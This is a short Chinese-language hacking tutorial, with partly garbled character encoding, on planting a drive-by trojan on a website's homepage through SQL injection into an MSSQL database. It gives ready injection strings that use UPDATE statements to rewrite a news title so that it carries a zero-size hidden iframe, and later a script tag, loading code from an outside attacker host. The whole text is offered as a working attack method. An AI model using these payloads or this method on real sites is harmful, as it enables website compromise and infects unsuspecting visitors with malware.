這里說的是首頁調(diào)用到的數(shù)據(jù)庫,比如新聞,論壇,公告,等等,一般是標(biāo)題。這些需要經(jīng)驗去檢測,舉個例子,比如首頁有一條新聞為:“明日開業(yè)”,那么鼠標(biāo)點此新聞,地址欄打開的新窗口為news.asp?id=1,這種情況,這時,就可以判斷此新聞是從數(shù)據(jù)庫中調(diào)用的了,當(dāng)然了,我們不說access,只說mssql。 首頁,我們要有這個網(wǎng)站中的一個注入點,比如就點在vote.asp?id=123,同時,至少是Db_owner權(quán)限,這時如果要掛馬可以不用取到webshell,因為如果我們的目的只在于掛馬的話,而且有時,還得檢測mssql數(shù)據(jù)庫和web服務(wù)器不在同一個機器上,那掛馬的方式就是更改數(shù)據(jù)庫內(nèi)容,這里我說的就是這種,如上面說的,首頁顯示的一條新聞標(biāo)題為“明日開業(yè)”,如果首頁顯示的標(biāo)題是“明日開業(yè)</a><iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>”,那這樣的話,首頁就會執(zhí)行這段代碼了,像這種情況,找到了注入點,就得找表名,如此新聞的表名為news,字段為title,id,等等,根據(jù)猜測,id=1時,暴出的字段title的值就為“明日開業(yè)”,那么90%就可以猜到了,首頁調(diào)用的數(shù)據(jù)庫的字段就為news表中的title,這時在注入點,可以大膽提交vote.asp?id=123;update news set title=‘明日開業(yè)</a><iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>‘ where id=1;--,這樣就可以更改數(shù)據(jù)庫了,前提是最少要少db_owner權(quán)限,當(dāng)然也有時由于代碼原因,也可以這樣提交:vote.asp?id=123‘;update news set title=‘明日開業(yè)</a><ifrmae src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>‘ where id=1 and ‘1‘=‘1,也可以... 這種方法是有問題的,實戰(zhàn)中存在不少問題,因為一般的情況下,標(biāo)題都是通過<table>來限制寬度,也就是說如果你的標(biāo)題的長度超過了指定的長度,那么你的代碼只能寫一半,這樣就不能執(zhí)行了,所以掛馬最好的方法是用<script>這種方法來掛馬了,如: vote.asp?id=123;update news set title=‘明日開業(yè)</a><script src=http://www.fucksb.net/mm.js></script>‘ where id=1;--長度有很大的減少,很不錯。